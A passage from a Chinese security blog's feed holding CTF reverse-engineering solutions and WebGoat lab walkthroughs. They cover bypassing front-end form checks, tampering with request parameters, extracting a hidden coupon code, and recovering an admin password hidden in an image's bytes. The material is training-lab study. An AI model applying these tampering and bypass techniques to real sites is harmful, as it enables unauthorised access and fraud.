&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x93&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB3&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xEA&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;i1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;i2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;44&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    i1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;(i1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256
&lt;&#x2F;span&gt;&lt;span&gt;    i2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;(i2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;a1[i1]) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256
&lt;&#x2F;span&gt;&lt;span&gt;    tmp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;a1[i1]
&lt;&#x2F;span&gt;&lt;span&gt;    a1[i1] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;a1[i2]
&lt;&#x2F;span&gt;&lt;span&gt;    a1[i2] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;tmp
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[i] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;a1[(a1[i2] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;a1[i1]) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[i]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;utf-8&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;golang1&quot;&gt;golang1&lt;&#x2F;h1&gt;
&lt;p&gt;文件: golang1&lt;&#x2F;p&gt;
&lt;p&gt;先用&lt;code&gt;upx -d golang1&lt;&#x2F;code&gt;脱壳，IDA 7.2打开，用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;strazzere&#x2F;golang_loader_assist&quot;&gt;golang_loader_assist&lt;&#x2F;a&gt;修复符号表。之后就容易了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;golang1.png&quot; alt=&quot;golang1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;rb&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;SXAxpmcXb5`z&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[b6kaoe&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\v&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;`pz&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(a)):
&lt;&#x2F;span&gt;&lt;span&gt;    a[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(a),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;utf-8&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;can-kao-wen-zhang&quot;&gt;参考文章&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;SKI_12&#x2F;article&#x2F;details&#x2F;80571933&quot;&gt;PE文件格式 - Mi1k7ea&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>WebGoat之路-7-Client side</title>
        <published>2020-10-08T00:00:00+00:00</published>
        <updated>2020-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/webgoat-7-client-side/"/>
        <id>https://richar.top/webgoat-7-client-side/</id>
        
        <content type="html" xml:base="https://richar.top/webgoat-7-client-side/">&lt;h1 id=&quot;client-side&quot;&gt;Client side&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bypass-front-end-restrictions&quot;&gt;Bypass front-end restrictions&lt;&#x2F;h2&gt;
&lt;p&gt;前端检验的绕过。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-2&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;绕过表单的限制大部分只要修改&lt;code&gt;value&lt;&#x2F;code&gt;就好了。如图修改&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-7-client-side&#x2F;.&#x2F;Stage2_edit_form.png&quot; alt=&quot;Stage2_edit_form&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;抓包，然后参数随便改。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-7-client-side&#x2F;.&#x2F;Stage3_edit_form.png&quot; alt=&quot;Stage3_edit_form&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;client-side-filtering&quot;&gt;Client side filtering&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;stage-2-1&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;当点击过下拉框后会发现多了一个隐藏的&lt;code&gt;table&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-7-client-side&#x2F;.&#x2F;Stage2_hidden_table.png&quot; alt=&quot;Stage2_hidden_table&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3-1&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;直接查看源码，发现有一行注释，把注释的checkout code 填入，发现只是打了折，并没有免费。&lt;&#x2F;p&gt;
&lt;p&gt;可以在价格节点上打上断点，&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-7-client-side&#x2F;.&#x2F;Stage3_debug_on_change.png&quot; alt=&quot;Stage3_debug_on_change&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;再让价格改变时，看看调用堆栈，找到这样两个函数：&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-7-client-side&#x2F;.&#x2F;Stage3_two_functions.png&quot; alt=&quot;Stage3_two_functions&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;看来使用ajax发送请求来判断是非能打折。仔细研究一下这个请求，当它在没有参数时会返回所有可能的checkcode。那答案是&lt;code&gt;get_it_for_free&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-7-client-side&#x2F;.&#x2F;Stage3_for_free-1602160648554.png&quot; alt=&quot;Stage3_for_free&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;html-tampering&quot;&gt;HTML tampering&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;stage-2-2&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;直接修改&lt;code&gt;checkout&lt;&#x2F;code&gt;按钮发送的请求的参数就好了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>WebGoat之路-8-Challenges</title>
        <published>2020-10-08T00:00:00+00:00</published>
        <updated>2020-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/webgoat-8-challenges/"/>
        <id>https://richar.top/webgoat-8-challenges/</id>
        
        <content type="html" xml:base="https://richar.top/webgoat-8-challenges/">&lt;h1 id=&quot;challenges&quot;&gt;Challenges&lt;&#x2F;h1&gt;
&lt;p&gt;最后一章了！！！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;admin-lost-password&quot;&gt;Admin lost password&lt;&#x2F;h2&gt;
&lt;p&gt;先用sqlmap探测一下，两个参数是否能sql注入，但似乎都不行。再试一下弱密码，也不行。&lt;&#x2F;p&gt;
&lt;p&gt;看看那张logo，下载了看看用&lt;code&gt;Stegsolve&lt;&#x2F;code&gt;看看。啥也看不出来，太难了，还是翻源码吧。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PASSWORD &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;!!webgoat_admin_1234!!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;@PostMapping(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&#x2F;challenge&#x2F;1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;@ResponseBody
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;AttackResult &lt;&#x2F;span&gt;&lt;span&gt;completed(@&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;RequestParam String&lt;&#x2F;span&gt;&lt;span&gt; username, @&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;RequestParam String&lt;&#x2F;span&gt;&lt;span&gt; password, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;HttpServletRequest&lt;&#x2F;span&gt;&lt;span&gt; request) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;boolean&lt;&#x2F;span&gt;&lt;span&gt; ipAddressKnown &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;boolean&lt;&#x2F;span&gt;&lt;span&gt; passwordCorrect &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;admin&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;.equals(username) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PASSWORD&lt;&#x2F;span&gt;&lt;span&gt;.replace(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1234&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt;.format(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;%04d&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ImageServlet&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PINCODE&lt;&#x2F;span&gt;&lt;span&gt;)).equals(password);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(passwordCorrect &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; ipAddressKnown) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;success(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;).feedback(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;challenge.solved&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).feedbackArgs(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Flag&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;FLAGS&lt;&#x2F;span&gt;&lt;span&gt;.get(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)).build();
&lt;&#x2F;span&gt;&lt;span&gt;    } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else if &lt;&#x2F;span&gt;&lt;span&gt;(passwordCorrect) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;failed(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;).feedback(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;ip.address.unknown&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).build();
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;failed(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;).build();
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出，答案是&lt;code&gt;!!webgoat_admin_????!!&lt;&#x2F;code&gt;，然后继续翻，&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;static final public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PINCODE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;SecureRandom&lt;&#x2F;span&gt;&lt;span&gt;().nextInt(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10000&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@Override
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;protected&lt;&#x2F;span&gt;&lt;span&gt; void doGet(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;HttpServletRequest&lt;&#x2F;span&gt;&lt;span&gt; request, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;HttpServletResponse&lt;&#x2F;span&gt;&lt;span&gt; response)
&lt;&#x2F;span&gt;&lt;span&gt;		throws &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ServletException&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;IOException &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;	
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[]&lt;&#x2F;span&gt;&lt;span&gt; in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ClassPathResource&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;images&#x2F;webgoat2.png&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).getInputStream().readAllBytes();
&lt;&#x2F;span&gt;&lt;span&gt;	
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt; pincode &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt;.format(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;%04d&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PINCODE&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	
&lt;&#x2F;span&gt;&lt;span&gt;	in[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;81216&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;) pincode.charAt(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	in[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;81217&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;) pincode.charAt(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	in[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;81218&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;) pincode.charAt(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	in[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;81219&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;) pincode.charAt(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	
&lt;&#x2F;span&gt;&lt;span&gt;	response.setContentType(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;MediaType&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;IMAGE_PNG_VALUE&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;FileCopyUtils&lt;&#x2F;span&gt;&lt;span&gt;.copy(in, response.getOutputStream());
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看出4个数字写在图片的81216-81216字节，81216的十六进制为&lt;code&gt;13D40&lt;&#x2F;code&gt;，用文件二进制查看器看一下。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-8-challenges&#x2F;.&#x2F;C1_hex.png&quot; alt=&quot;C1_hex&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;或者用python写下代码。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;with &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;logo.png&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;rb&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;f:
&lt;&#x2F;span&gt;&lt;span&gt;    f.seek(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;81216&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;f.read(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(a,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;utf-8&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那最后密码就是&lt;code&gt;!!webgoat_admin_1046!!&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;without-password&quot;&gt;Without password&lt;&#x2F;h2&gt;
